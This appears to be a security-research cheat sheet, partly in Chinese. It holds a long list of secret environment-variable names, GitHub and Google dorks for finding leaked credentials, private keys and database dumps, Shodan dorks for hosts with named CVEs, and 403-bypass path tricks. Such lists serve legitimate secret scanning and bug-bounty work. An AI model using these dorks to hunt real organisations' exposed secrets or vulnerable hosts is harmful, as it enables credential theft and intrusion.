FILE_PASSWORD=
FIREBASE_API_JSON=
FIREBASE_API_TOKEN=
FIREBASE_KEY=
FIREBASE_PROJECT=
FIREBASE_PROJECT_DEVELOP=
FIREBASE_PROJECT_ID=
FIREBASE_SERVICE_ACCOUNT=
FIREBASE_TOKEN=
FIREFOX_CLIENT=
FIREFOX_ISSUER=
FIREFOX_SECRET=
FLASK_SECRET_KEY=
FLICKR=
FLICKR_API_KEY=
FLICKR_API_SECRET=
FOO=
FOSSA_API_KEY=
fR457Xg1zJIz2VcTD5kgSGAPfPlrYx2xnR5yILYiaWiLqQ1rhFKQZ0rwOZ8Oiqk8nPXkSyXABr9B8PhCFJGGKJIqDI39Qe6XCXAN3GMH2zVuUDfgZCtdQ8KtM1Qg71IR4g=
ftp_host=
FTP_LOGIN=
FTP_PASSWORD=
FTP_PW=
FTP_USER=
ftp_username=
fvdvd=
gateway=
GCLOUD_BUCKET=
GCLOUD_PROJECT=
GCLOUD_SERVICE_KEY=
GCR_PASSWORD=
GCR_USERNAME=
GCS_BUCKET=
ggFqFEKCd54gCDasePLTztHeC4oL104iaQ=
GHB_TOKEN=
GHOST_API_KEY=
GH_API_KEY=
GH_EMAIL=
GH_NAME=
GH_NEXT_OAUTH_CLIENT_ID=
GH_NEXT_OAUTH_CLIENT_SECRET=
GH_NEXT_UNSTABLE_OAUTH_CLIENT_ID=
GH_NEXT_UNSTABLE_OAUTH_CLIENT_SECRET=
GH_OAUTH_CLIENT_ID=
GH_OAUTH_CLIENT_SECRET=
GH_OAUTH_TOKEN=
GH_REPO_TOKEN=
GH_TOKEN=
GH_UNSTABLE_OAUTH_CLIENT_ID=
GH_UNSTABLE_OAUTH_CLIENT_SECRET=
GH_USER_EMAIL=
GH_USER_NAME=
GITHUB_ACCESS_TOKEN=
GITHUB_API_KEY=
GITHUB_API_TOKEN=
GITHUB_AUTH=
GITHUB_AUTH_TOKEN=
GITHUB_AUTH_USER=
GITHUB_CLIENT_ID=
GITHUB_CLIENT_SECRET=
GITHUB_DEPLOYMENT_TOKEN=
GITHUB_DEPLOY_HB_DOC_PASS=
GITHUB_HUNTER_TOKEN=
GITHUB_HUNTER_USERNAME=
GITHUB_KEY=
GITHUB_OAUTH=
GITHUB_OAUTH_TOKEN=
GITHUB_PASSWORD=
GITHUB_PWD=
GITHUB_RELEASE_TOKEN=
GITHUB_REPO=
GITHUB_TOKEN=
GITHUB_TOKENS=
GITHUB_USER=
GITHUB_USERNAME=
GITLAB_USER_EMAIL=
GITLAB_USER_LOGIN=
GIT_AUTHOR_EMAIL=
GIT_AUTHOR_NAME=
GIT_COMMITTER_EMAIL=
GIT_COMMITTER_NAME=
GIT_EMAIL=
GIT_NAME=
GIT_TOKEN=
GIT_USER=
GK_LOCK_DEFAULT_BRANCH=
GOGS_PASSWORD=
GOOGLEAPIS.COM/=
GOOGLEUSERCONTENT.COM=
GOOGLE_ACCOUNT_TYPE=
GOOGLE_CLIENT_EMAIL=
GOOGLE_CLIENT_ID=
GOOGLE_CLIENT_SECRET=
GOOGLE_MAPS_API_KEY=
GOOGLE_PRIVATE_KEY=
gpg.passphrase=
GPG_EMAIL=
GPG_ENCRYPTION=
GPG_EXECUTABLE=
GPG_KEYNAME=
GPG_KEY_NAME=
GPG_NAME=
GPG_OWNERTRUST=
GPG_PASSPHRASE=
GPG_PRIVATE_KEY=
GPG_SECRET_KEYS=
gradle.publish.key=
gradle.publish.secret=
GRADLE_SIGNING_KEY_ID=
GRADLE_SIGNING_PASSWORD=
GREN_GITHUB_TOKEN=
GRGIT_USER=
groupToShareTravis=
HAB_AUTH_TOKEN=
HAB_KEY=
handlesAlerts=
hasTouchScreen=
HB_CODESIGN_GPG_PASS=
HB_CODESIGN_KEY_PASS=
HEROKU_API_KEY=
HEROKU_API_USER=
HEROKU_EMAIL=
HEROKU_TOKEN=
HOCKEYAPP_TOKEN=
HOMEBREW_GITHUB_API_TOKEN=
HOOKS.SLACK.COM=
HOST=
hpmifLs=
Hso3MqoJfx0IdpnYbgvRCy8zJWxEdwJn2pC4BoQawJx8OgNSx9cjCuy6AH93q2zcQ=
https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}
HUB_DXIA2_PASSWORD=
Hxm6P0NESfV0whrZHyVOaqIRrbhUsK9j4YP8IMFoI4qYp4g=
I6SEeHdMJwAvqM6bNXQaMJwJLyZHdAYK9DQnY=
ibCWoWs74CokYVA=
id=
IJ_REPO_PASSWORD=
IJ_REPO_USERNAME=
IMAGE=
INDEX_NAME=
INSTAGRAM=
INTEGRATION_TEST_API_KEY=
INTEGRATION_TEST_APPID=
INTERNAL-SECRETS=
IOS_DOCS_DEPLOY_TOKEN=
IRC_NOTIFICATION_CHANNEL=
isbooleanGood=
ISDEVELOP=
isParentAllowed=
iss=
ISSUER=
ITEST_GH_TOKEN=
java.net.UnknownHostException=
javascriptEnabled=
JDBC:MYSQL=
jdbc_databaseurl=
jdbc_host=
jdbc_user=
JWT_SECRET=
jxoGfiQqqgvHtv4fLzI=
KAFKA_ADMIN_URL=
KAFKA_INSTANCE_NAME=
KAFKA_REST_URL=
KEY=
KEYID=
KEYSTORE_PASS=
KOVAN_PRIVATE_KEY=
KUBECFG_S3_PATH=
KUBECONFIG=
KXOlTsN3VogDop92M=
LEANPLUM_APP_ID=
LEANPLUM_KEY=
LEKTOR_DEPLOY_PASSWORD=
LEKTOR_DEPLOY_USERNAME=
LICENSES_HASH=
LICENSES_HASH_TWO=
LIGHTHOUSE_API_KEY=
LINKEDIN_CLIENT_ID=
LINKEDIN_CLIENT_SECRET=
LINODE_INSTANCE_ID=
LINODE_VOLUME_ID=
LINUX_SIGNING_KEY=
LL_API_SHORTNAME=
LL_PUBLISH_URL=
LL_SHARED_KEY=
LL_USERNAME=
locationContextEnabled=
LOCATION_ID=
LOGNAME=
LOGOUT_REDIRECT_URI=
LOOKER_TEST_RUNNER_CLIENT_ID=
LOOKER_TEST_RUNNER_CLIENT_SECRET=
LOOKER_TEST_RUNNER_ENDPOINT=
LOTTIE_HAPPO_API_KEY=
LOTTIE_HAPPO_SECRET_KEY=
LOTTIE_S3_API_KEY=
LOTTIE_S3_SECRET_KEY=
LOTTIE_UPLOAD_CERT_KEY_PASSWORD=
LOTTIE_UPLOAD_CERT_KEY_STORE_PASSWORD=
lr7mO294=
MADRILL=
MAGENTO_AUTH_PASSWORD=
MAGENTO_AUTH_USERNAME=
MAGENTO_PASSWORD=
MAGENTO_USERNAME=
mailchimp_api_key=
MAILCHIMP_KEY=
mailchimp_list_id=
mailchimp_user=
MAILER_HOST=
MAILER_PASSWORD=
MAILER_TRANSPORT=
MAILER_USER=
MAILGUN_APIKEY=
MAILGUN_API_KEY=
MAILGUN_DOMAIN=
MAILGUN_PASSWORD=
MAILGUN_PRIV_KEY=
MAILGUN_PUB_APIKEY=
MAILGUN_PUB_KEY=
MAILGUN_SECRET_API_KEY=
MAILGUN_TESTDOMAIN=
MAIL_PASSWORD=
MAIL_USERNAME=
ManagementAPIAccessToken=
MANAGEMENT_TOKEN=
MANAGE_KEY=
MANAGE_SECRET=
MANDRILL_API_KEY=
MANIFEST_APP_TOKEN=
MANIFEST_APP_URL=
MapboxAccessToken=
MAPBOX_ACCESS_TOKEN=
MAPBOX_API_TOKEN=
MAPBOX_AWS_ACCESS_KEY_ID=
MAPBOX_AWS_SECRET_ACCESS_KEY=
marionette=
MAVEN_STAGING_PROFILE_ID=
MG_API_KEY=
MG_DOMAIN=
MG_EMAIL_ADDR=
MG_EMAIL_TO=
MG_PUBLIC_API_KEY=
MG_SPEND_MONEY=
MG_URL=
MH_APIKEY=
MH_PASSWORD=
MILE_ZERO_KEY=
MINIO_ACCESS_KEY=
MINIO_SECRET_KEY=
mMmMSl1qNxqsumNhBlmca4g=
mobileEmulationEnabled=
MONGOLAB_URI=
MONGO_SERVER_ADDR=
mRFSU97HNZZVSvAlRxyYP4Xxx1qXKfRXBtqnwVJqLvK6JTpIlh4WH28ko=
MULTI_ALICE_SID=
MULTI_BOB_SID=
MULTI_CONNECT_SID=
MULTI_DISCONNECT_SID=
MULTI_WORKFLOW_SID=
MULTI_WORKSPACE_SID=
MYSQLMASTERUSER=
MYSQLSECRET=
MYSQL_DATABASE=
MYSQL_HOSTNAME=
MYSQL_PASSWORD=
MYSQL_ROOT_PASSWORD=
MYSQL_USER=
MYSQL_USERNAME=
MY_SECRET_ENV=
n8awpV01A2rKtErnlJWVzeDK5WfLBaXUvOoc=
nativeEvents=
NETLIFY_API_KEY=
NETLIFY_SITE_ID=
networkConnectionEnabled=
NEW_RELIC_BETA_TOKEN=
nexusPassword=
nexusUrl=
nexusUsername=
NEXUS_PASSWORD=
NEXUS_USERNAME=
NfZbmLlaRTClBvI=
NGROK_AUTH_TOKEN=
NGROK_TOKEN=
NODE_ENV=
node_pre_gyp_accessKeyId=
NODE_PRE_GYP_GITHUB_TOKEN=
node_pre_gyp_secretAccessKey=
NON_MULTI_ALICE_SID=
NON_MULTI_BOB_SID=
NON_MULTI_CONNECT_SID=
NON_MULTI_DISCONNECT_SID=
NON_MULTI_WORKFLOW_SID=
NON_MULTI_WORKSPACE_SID=
NON_TOKEN=
NOW_TOKEN=
NPM_API_KEY=
NPM_API_TOKEN=
NPM_AUTH_TOKEN=
NPM_CONFIG_AUDIT=
NPM_CONFIG_STRICT_SSL=
NPM_EMAIL=
NPM_PASSWORD=
NPM_SECRET_KEY=
NPM_TOKEN=
NPM_USERNAME=
NQc8MDWYiWa1UUKW1cqms=
NtkUXxwH10BDMF7FMVlQ4zdHQvyZ0=
NUGET_APIKEY=
NUGET_API_KEY=
NUGET_KEY=
NUMBERS_SERVICE=
NUMBERS_SERVICE_PASS=
NUMBERS_SERVICE_USER=
NUNIT=
OAUTH_TOKEN=
OBJECT_STORAGE
OBJECT_STORAGE_INCOMING_CONTAINER_NAME=
OBJECT_STORAGE_PASSWORD=
OBJECT_STORAGE_PROJECT_ID=
OBJECT_STORAGE_USER_ID=
OBJECT_STORE_BUCKET=
OBJECT_STORE_CREDS=
OCTEST_APP_PASSWORD=
OCTEST_APP_USERNAME=
OCTEST_PASSWORD=
OCTEST_SERVER_BASE_URL=
OCTEST_SERVER_BASE_URL_2=
OCTEST_USERNAME=
OC_PASS=
OFTA
OFTA_KEY=
OFTA_SECRET=
oFYEk7ehNjGZC268d7jep5p5EaJzch5ai14=
OKTA_AUTHN_ITS_MFAENROLLGROUPID=
OKTA_CLIENT_ORGURL=
OKTA_CLIENT_ORG_URL=
OKTA_CLIENT_TOKEN=
OKTA_DOMAIN=
OKTA_OAUTH2_CLIENTID=
OKTA_OAUTH2_CLIENTSECRET=
OKTA_OAUTH2_CLIENT_ID=
OKTA_OAUTH2_CLIENT_SECRET=
OKTA_OAUTH2_ISSUER=
OMISE_KEY=
OMISE_PKEY=
OMISE_PUBKEY=
OMISE_SKEY=
ONESIGNAL_API_KEY=
ONESIGNAL_USER_AUTH_KEY=
OPENWHISK_KEY=
OPEN_WHISK_KEY=
org.gradle.daemon=
ORG=
ORG_GRADLE_PROJECT_cloudinary.url=
ORG_GRADLE_PROJECT_cloudinaryUrl=
ORG_GRADLE_PROJECT_SONATYPE_NEXUS_PASSWORD=
ORG_GRADLE_PROJECT_SONATYPE_NEXUS_USERNAME=
ORG_ID=
ORG_PROJECT_GRADLE_SONATYPE_NEXUS_PASSWORD=
ORG_PROJECT_GRADLE_SONATYPE_NEXUS_USERNAME=
OS
OSSRH_JIRA_PASSWORD=
OSSRH_JIRA_USERNAME=
OSSRH_PASS=
OSSRH_PASSWORD=
OSSRH_SECRET=
OSSRH_USER=
OSSRH_USERNAME=
OS_AUTH_URL=
OS_PASSWORD=
OS_PROJECT_NAME=
OS_TENANT_ID=
OS_TENANT_NAME=
OS_USERNAME=
p8qojUzqtAhPMbZ8mxUtNukUI3liVgPgiMss96sG0nTVglFgkkAkEjIMFnqMSKnTfG812K4jIhp2jCO2Q3NeI=
PACKAGECLOUD_TOKEN=
PAGERDUTY=
PAGERDUTY_APIKEY=
PAGERDUTY_ESCALATION_POLICY_ID=
PAGERDUTY_FROM_USER=
PAGERDUTY_PRIORITY_ID=
PAGERDUTY_SERVICE_ID=
PANTHEON_SITE=
PARSE_APP_ID=
PARSE_JS_KEY=
PASS=
PASSWORD=
passwordTravis=
PAT=
PATH=
PAYPAL_CLIENT_ID=
PAYPAL_CLIENT_SECRET=
PERCY_PROJECT=
PERCY_TOKEN=
PERSONAL_KEY=
PERSONAL_SECRET=
PG_DATABASE=
PG_HOST=
pHCbGBA8L7a4Q4zZihD3HA=
PHP_BUILT_WITH_GNUTLS=
PLACES_APIKEY=
PLACES_API_KEY=
PLACES_APPID=
PLACES_APPLICATION_ID=
plJ2V12nLpOPwY6zTtzcoTxEN6wcvUJfHAdNovpp63hWTnbAbEZamIdxwyCqpzThDobeD354TeXFUaKvrUw00iAiIhGL2QvwapaCbhlwM6NQAmdU3tMy3nZpka6bRI1kjyTh7CXfdwXV98ZJSiPdUFxyIgFNI2dKiL3BI1pvFDfq3mnmi3WqzZHCaQqDKNEtUrzxC40swIJGLcLUiqc5xX37P47jNDWrNIRDs8IdbM0tS9pFM=
PLOTLY_APIKEY=
PLOTLY_USERNAME=
PLUGIN_PASSWORD=
PLUGIN_USERNAME=
pLytpSCciF6t9NqqGZYbBomXJLaG84=
POLL_CHECKS_CRON=
POLL_CHECKS_TIMES=
PORT=
POSTGRESQL_DB=
POSTGRESQL_PASS=
POSTGRES_ENV_POSTGRES_DB=
POSTGRES_ENV_POSTGRES_PASSWORD=
POSTGRES_ENV_POSTGRES_USER=
POSTGRES_PORT=
PREBUILD_AUTH=
preferred_username=
PRING.MAIL.USERNAME=
PRIVATE_SIGNING_PASSWORD=
PROD.ACCESS.KEY.ID=
PROD.SECRET.KEY=
PROD_BASE_URL_RUNSCOPE=
PROD_PASSWORD=
PROD_USERNAME=
PROJECT_CONFIG=
props.disabled=
PUBLISH_ACCESS=
PUBLISH_KEY=
PUBLISH_SECRET=
PUSHOVER_TOKEN=
PUSHOVER_USER=
PYPI_PASSOWRD=
PYPI_PASSWORD=
PYPI_USERNAME=
Q67fq4bD04RMM2RJAS6OOYaBF1skYeJCblwUk=
Q=
QIITA=
QIITA_TOKEN=
qQ=
query=
QUIP_TOKEN=
RABBITMQ_PASSWORD=
RABBITMQ_SERVER_ADDR=
raisesAccessibilityExceptions=
RANDRMUSICAPIACCESSTOKEN=
rBezlxWRroeeKcM2DQqiEVLsTDSyNZV9kVAjwfLTvM=
REDIRECT_URI=
REDISCLOUD_URL=
REDIS_STUNNEL_URLS=
REFRESH_TOKEN=
RELEASE_GH_TOKEN=
RELEASE_TOKEN=
remoteUserToShareTravis=
REPO=
REPORTING_WEBDAV_PWD=
REPORTING_WEBDAV_URL=
REPORTING_WEBDAV_USER=
repoToken=
RestoreUseCustomAfterTargets=
REST_API_KEY=
rI=
RINKEBY_PRIVATE_KEY=
RND_SEED=
ROPSTEN_PRIVATE_KEY=
rotatable=
route53_access_key_id=
RTD_ALIAS=
RTD_KEY_PASS=
RTD_STORE_PASS=
rTwPXE9XlKoTn9FTWnAqF3MuWaLslDcDKYEh7OaYJjF01piu6g4Nc=
RUBYGEMS_AUTH_TOKEN=
RUNSCOPE_TRIGGER_ID=
S3-EXTERNAL-3.AMAZONAWS.COM=
S3.AMAZONAWS.COM=
s3_access_key=
S3_ACCESS_KEY_ID=
S3_BUCKET_NAME_APP_LOGS=
S3_BUCKET_NAME_ASSETS=
S3_KEY=
S3_KEY_APP_LOGS=
S3_KEY_ASSETS=
S3_PHOTO_BUCKET=
S3_SECRET_APP_LOGS=
S3_SECRET_ASSETS=
S3_SECRET_KEY=
S3_USER_ID=
S3_USER_SECRET=
SACLOUD_ACCESS_TOKEN=
SACLOUD_ACCESS_TOKEN_SECRET=
SACLOUD_API=
SALESFORCE_BULK_TEST_PASSWORD=
SALESFORCE_BULK_TEST_SECURITY_TOKEN=
SALESFORCE_BULK_TEST_USERNAME=
SALT=
SANDBOX_ACCESS_TOKEN=
SANDBOX_AWS_ACCESS_KEY_ID=
SANDBOX_AWS_SECRET_ACCESS_KEY=
SANDBOX_LOCATION_ID=
SAUCE_ACCESS_KEY=
SAUCE_USERNAME=
scope=
SCRUTINIZER_TOKEN=
SDM4=
sdr-token=
SECRET ACCESS KEY=
SECRET=
SECRETACCESSKEY=
SECRETKEY=
SECRET_0=
SECRET_10=
SECRET_11=
SECRET_1=
SECRET_2=
SECRET_3=
SECRET_4=
SECRET_5=
SECRET_6=
SECRET_7=
SECRET_8=
SECRET_9=
SECRET_KEY_BASE=
SEGMENT_API_KEY=
SELION_LOG_LEVEL_DEV=
SELION_LOG_LEVEL_USER=
SELION_SELENIUM_HOST=
SELION_SELENIUM_PORT=
SELION_SELENIUM_SAUCELAB_GRID_CONFIG_FILE=
SELION_SELENIUM_USE_SAUCELAB_GRID=
SENDGRID=
SENDGRID_API_KEY=
SENDGRID_FROM_ADDRESS=
SENDGRID_KEY=
SENDGRID_PASSWORD=
SENDGRID_USER=
SENDGRID_USERNAME=
SENDWITHUS_KEY=
SENTRY_AUTH_TOKEN=
SENTRY_DEFAULT_ORG=
SENTRY_ENDPOINT=
SERVERAPI_SERVER_ADDR=
SERVICE_ACCOUNT_SECRET=
SES_ACCESS_KEY=
SES_SECRET_KEY=
setDstAccessKey=
setDstSecretKey=
setSecretKey=
setWindowRect=
SGcUKGqyoqKnUg=
SIGNING_KEY=
SIGNING_KEY_PASSWORD=
SIGNING_KEY_SECRET=
SIGNING_KEY_SID=
SK[a-z0-9]{32}
SLACK_CHANNEL=
SLACK_ROOM=
SLACK_WEBHOOK_URL=
SLASH_DEVELOPER_SPACE=
SLASH_DEVELOPER_SPACE_KEY=
SLATE_USER_EMAIL=
SNOOWRAP_CLIENT_ID=
SNOOWRAP_CLIENT_SECRET=
SNOOWRAP_PASSWORD=
SNOOWRAP_REDIRECT_URI=
SNOOWRAP_REFRESH_TOKEN=
SNOOWRAP_USERNAME=
SNOOWRAP_USER_AGENT=
SNYK_API_TOKEN=
SNYK_ORG_ID=
SNYK_TOKEN=
SOCRATA_APP_TOKEN=
SOCRATA_PASSWORD=
SOCRATA_USER=
SOCRATA_USERNAME=
SOMEVAR=
SOME_VAR=
SONAR_ORGANIZATION_KEY=
SONAR_PROJECT_KEY=
SONAR_TOKEN=
sonatypePassword=
sonatypeUsername=
SONATYPE_GPG_KEY_NAME=
SONATYPE_GPG_PASSPHRASE=
SONATYPE_NEXUS_PASSWORD=
SONATYPE_NEXUS_USERNAME=
SONATYPE_PASS=
SONATYPE_PASSWORD=
SONATYPE_TOKEN_PASSWORD=
SONATYPE_TOKEN_USER=
SONATYPE_USER=
SONATYPE_USERNAME=
SONA_TYPE_NEXUS_USERNAME=
SOUNDCLOUD_CLIENT_ID=
SOUNDCLOUD_CLIENT_SECRET=
SOUNDCLOUD_PASSWORD=
SOUNDCLOUD_USERNAME=
SPACE=
SPACES_ACCESS_KEY_ID=
SPACES_SECRET_ACCESS_KEY=
SPA_CLIENT_ID=
SPOTIFY_API_ACCESS_TOKEN=
SPOTIFY_API_CLIENT_ID=
SPOTIFY_API_CLIENT_SECRET=
SPRING.MAIL.PASSWORD=
sqsAccessKey=
sqsSecretKey=
SQS_NOTIFICATIONS_INTERNAL=
SQUARE_READER_SDK_REPOSITORY_PASSWORD=
SRCCLR_API_TOKEN=
SRC_TOPIC=
SSHPASS=
SSMTP_CONFIG=
STAGING_BASE_URL_RUNSCOPE=
STARSHIP_ACCOUNT_SID=
STARSHIP_AUTH_TOKEN=
STAR_TEST_AWS_ACCESS_KEY_ID=
STAR_TEST_BUCKET=
STAR_TEST_LOCATION=
STAR_TEST_SECRET_ACCESS_KEY=
STORMPATH_API_KEY_ID=
STORMPATH_API_KEY_SECRET=
STRIPE_PRIVATE=
STRIPE_PUBLIC=
STRIP_PUBLISHABLE_KEY=
STRIP_SECRET_KEY=
SUBDOMAIN=
SURGE_LOGIN=
SURGE_TOKEN=
SVN_PASS=
SVN_USER=
takesElementScreenshot=
takesHeapSnapshot=
takesScreenshot=
TCfbCZ9FRMJJ8JnKgOpbUW7QfvDDnuL4YOPHGcGb6mG413PZdflFdGgfcneEyLhYI8SdlU=
TEAM_EMAIL=
ted_517c5824cb79_iv=
TESCO_API_KEY=
test=
tester_keys_password=
TEST_GITHUB_TOKEN=
TEST_TEST=
THERA_OSS_ACCESS_ID=
THERA_OSS_ACCESS_KEY=
TN8HHBZB9CCFozvq4YI5jS7oSznjTFIf1fJM=
TOKEN=
token_core_java=
TRAVIS_ACCESS_TOKEN=
TRAVIS_API_TOKEN=
TRAVIS_BRANCH=
TRAVIS_COM_TOKEN=
TRAVIS_E2E_TOKEN=
TRAVIS_GH_TOKEN=
TRAVIS_PULL_REQUEST=
TRAVIS_SECURE_ENV_VARS=
TRAVIS_TOKEN=
TREX_CLIENT_ORGURL=
TREX_CLIENT_TOKEN=
TREX_OKTA_CLIENT_ORGURL=
TREX_OKTA_CLIENT_TOKEN=
TRIGGER_API_COVERAGE_REPORTER=
TRV=
TWILIO_ACCOUNT_ID=
TWILIO_ACCOUNT_SID=
TWILIO_API_KEY=
TWILIO_API_SECRET=
TWILIO_CHAT_ACCOUNT_API_SERVICE=
TWILIO_CONFIGURATION_SID=
TWILIO_SID=
TWILIO_TOKEN=
TWILO=
TWINE_PASSWORD=
TWINE_USERNAME=
TWITTER=
TWITTEROAUTHACCESSSECRET=
TWITTEROAUTHACCESSTOKEN=
TWITTER_CONSUMER_KEY=
TWITTER_CONSUMER_SECRET=
UAusaB5ogMoO8l2b773MzgQeSmrLbExr9BWLeqEfjC2hFgdgHLaQ=
udKwT156wULPMQBacY=
uiElement=
uk=
UNITY_PASSWORD=
UNITY_SERIAL=
UNITY_USERNAME=
URBAN_KEY=
URBAN_MASTER_SECRET=
URBAN_SECRET=
URL=
US-EAST-1.ELB.AMAZONAWS.COM=
USABILLA_ID=
user=
USERNAME=
userToShareTravis=
userTravis=
USER_ASSETS_ACCESS_KEY_ID=
USER_ASSETS_SECRET_ACCESS_KEY=
USE_SAUCELABS=
USE_SSH=
UzhH1VoXksrNQkFfc78sGxD0VzLygdDJ7RmkZPeBiHfX1yilToi1yrlRzRDLo46LvSEEiawhTa1i9W3UGr3p4LNxOxJr9tR9AjUuIlP21VEooikAhRf35qK0=
V3GNcE1hYg=
VAULT_ADDR=
VAULT_APPROLE_SECRET_ID=
VAULT_PATH=
VIP_GITHUB_BUILD_REPO_DEPLOY_KEY=
VIP_GITHUB_DEPLOY_KEY=
VIP_GITHUB_DEPLOY_KEY_PASS=
VIP_TEST=
VIRUSTOTAL_APIKEY=
VISUAL_RECOGNITION_API_KEY=
VSCETOKEN=
VU8GYF3BglCxGAxrMW9OFpuHCkQ=
vzG6Puz8=
V_SFDC_CLIENT_ID=
V_SFDC_CLIENT_SECRET=
V_SFDC_PASSWORD=
V_SFDC_USERNAME=
WAKATIME_API_KEY=
WAKATIME_PROJECT=
WATSON_CLIENT=
WATSON_CONVERSATION_PASSWORD=
WATSON_CONVERSATION_USERNAME=
WATSON_CONVERSATION_WORKSPACE=
WATSON_DEVICE=
WATSON_DEVICE_PASSWORD=
WATSON_DEVICE_TOPIC=
WATSON_PASSWORD=
WATSON_TEAM_ID=
WATSON_TOPIC=
WATSON_USERNAME=
webdavBaseUrlTravis=
WEBHOOK_URL=
webStorageEnabled=
WEB_CLIENT_ID=
WIDGET_BASIC_PASSWORD=
WIDGET_BASIC_PASSWORD_2=
WIDGET_BASIC_PASSWORD_3=
WIDGET_BASIC_PASSWORD_4=
WIDGET_BASIC_PASSWORD_5=
WIDGET_BASIC_USER=
WIDGET_BASIC_USER_2=
WIDGET_BASIC_USER_3=
WIDGET_BASIC_USER_4=
WIDGET_BASIC_USER_5=
WIDGET_FB_PASSWORD=
WIDGET_FB_PASSWORD_2=
WIDGET_FB_PASSWORD_3=
WIDGET_FB_USER=
WIDGET_FB_USER_2=
WIDGET_FB_USER_3=
WIDGET_TEST_SERVER=
WINCERT_PASSWORD=
WORDPRESS_DB_PASSWORD=
WORDPRESS_DB_USER=
WORKSPACE_ID=
WPJM_PHPUNIT_GOOGLE_GEOCODE_API_KEY=
WPORG_PASSWORD=
WPT_DB_HOST=
WPT_DB_NAME=
WPT_DB_PASSWORD=
WPT_DB_USER=
WPT_PREPARE_DIR=
WPT_REPORT_API_KEY=
WPT_SSH_CONNECT=
WPT_SSH_PRIVATE_KEY_BASE64=
WPT_TEST_DIR=
WsleZEJBve7AFYPzR1h6Czs072X4sQlPXedcCHRhD48WgbBX0IfzTiAYCuG0=
WvETELcH2GqdnVPIHO1H5xnbJ8k=
WVNmZ40V1Lt0DYC2c6lzWwiJZFsQIXIRzJcubcwqKRoMelkbmKHdeIk=
WWW.GOOGLEAPIS.COM=
XJ7lElT4Jt9HnUw=
xsax=
xsixFHrha3gzEAwa1hkOw6kvzR4z9dx0XmpvORuo1h4Ag0LCxAR70ZueGyStqpaXoFmTWB1z0WWwooAd0kgDwMDSOcH60Pv4mew=
Y8=
YANGSHUN_GH_PASSWORD=
YANGSHUN_GH_TOKEN=
YEi8xQ=
YHrvbCdCrtLtU=
YO0=
Yszo3aMbp2w=
YT_ACCOUNT_CHANNEL_ID=
YT_ACCOUNT_CLIENT_ID=
YT_ACCOUNT_CLIENT_SECRET=
YT_ACCOUNT_REFRESH_TOKEN=
YT_API_KEY=
YT_CLIENT_ID=
YT_CLIENT_SECRET=
YT_PARTNER_CHANNEL_ID=
YT_PARTNER_CLIENT_ID=
YT_PARTNER_CLIENT_SECRET=
YT_PARTNER_ID=
YT_PARTNER_REFRESH_TOKEN=
YT_SERVER_API_KEY=
YVxUZIA4Cm9984AxbYJGSk=
zendesk-travis-github=
zenSonatypePassword=
zenSonatypeUsername=
zf3iG1I1lI8pU=
zfp2yZ8aP9FHSy5ahNjqys4FtubOWLk=
ZHULIANG_GH_TOKEN=
ZOPIM_ACCOUNT_KEY=
ZZiigPX7RCjq5XHbzUpPpMbC8MFxT2K3jcFXUitfwZvNaZXJIiK3ZQJU4ayKaegLvI91x1SqH0=
\"type\": \"service_account\"
\?AccessKeyId=
\?access_token=
\?account=
\?id=
_02ddd67d5586_key=
_8382f1c42598_iv=
filename:.npmrc _auth
filename:.dockercfg auth
extension:pem private
extension:ppk private
filename:id_rsa or filename:id_dsa
extension:sql mysql dump
extension:sql mysql dump password
filename:credentials aws_access_key_id
filename:.s3cfg
filename:wp-config.php
filename:.htpasswd
filename:.env DB_USERNAME NOT homestead
filename:.env MAIL_HOST=smtp.gmail.com
filename:.git-credentials
PT_TOKEN language:bash
filename:.bashrc password
filename:.bashrc mailchimp
filename:.bash_profile aws
rds.amazonaws.com password
extension:json api.forecast.io
extension:json mongolab.com
extension:yaml mongolab.com
jsforce extension:js conn.login
SF_USERNAME salesforce
filename:.tugboat NOT _tugboat
HEROKU_API_KEY language:shell
HEROKU_API_KEY language:json
filename:.netrc password
filename:_netrc password
filename:hub oauth_token
filename:robomongo.json
filename:filezilla.xml Pass
filename:recentservers.xml Pass
filename:config.json auths
filename:idea14.key
filename:config irc_pass
filename:connections.xml
filename:express.conf path:.openshift
filename:.pgpass
filename:proftpdpasswd
filename:ventrilo_srv.ini
[WFClient] Password= extension:ica
filename:server.cfg rcon password
JEKYLL_GITHUB_TOKEN
filename:.bash_history
filename:.cshrc
filename:.history
filename:.sh_history
filename:sshd_config
filename:dhcpd.conf
filename:prod.exs NOT prod.secret.exs
filename:prod.secret.exs
filename:configuration.php JConfig password
filename:config.php dbpasswd
filename:config.php pass
path:sites databases password
shodan_api_key language:python
shodan_api_key language:shell
shodan_api_key language:json
shodan_api_key language:ruby
filename:shadow path:etc
filename:passwd path:etc
extension:avastlic "support.avast.com"
filename:dbeaver-data-sources.xml
filename:sftp-config.json
filename:.esmtprc password
extension:json googleusercontent client_secret
HOMEBREW_GITHUB_API_TOKEN language:shell
xoxp OR xoxb
.mlab.com password
filename:logins.json
filename:CCCam.cfg
msg nickserv identify filename:config
filename:settings.py SECRET_KEY
filename:secrets.yml password
filename:master.key path:config
filename:deployment-config.json
filename:.ftpconfig
filename:.remote-sync.json
filename:sftp.json path:.vscode
filename:WebServers.xml

Google Dorks

Google Dorks 寻找有趣的内容
1
2
3
4
5
6
7
8
9
10
11
inurl:example.com intitle:"index of" 
inurl:example.com intitle:"index of /" "*key.pem"
inurl:example.com ext:log
inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv
inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git
inurl:example.com intitle:"index of" "config.db"
inurl:example.com allintext:"API_SECRET*" ext:env | ext:yml
inurl:example.com intext:admin ext:sql inurl:admin
inurl:example.com allintext:username,password filetype:log
site:example.com "-----BEGIN RSA PRIVATE KEY-----" inurl:id_rsa
site:*.gov.* "responsible disclosure"

参考

除了 Google 之外，还可以在各种搜索引擎上尝试这些 dork，例如 Duck Duck Go、Bing 等。

报告

Shodan CVE Dorks

CVE’s Shodan Dorks.
  • Big IP shodan Search:-
1
http.title:"BIG-IP®-Redirect" org:Org
  • CVE 2020-3452
1
http.html_hash:-628873716 “set-cookie: webvpn;”
  • CVE CVE-2019-11510
1
http.html:/dana-na/
  • CVE-2020–5902
1
inurl:/tmui/login.jsp

状态码绕过（Status Code Bypass）

403 思维导图

image

来源

一些Twitter实例

image

image

image

image

403 Bypass

我根据自己的个人经验分享所有这些技巧和技术，没有官方参考资料

基于目录

如果您看到目录末尾没有斜杠，则在那里执行这些操作

1
2
3
site.com/secret => 403
site.com/secret/* => 200
site.com/secret/./ => 200
文件库

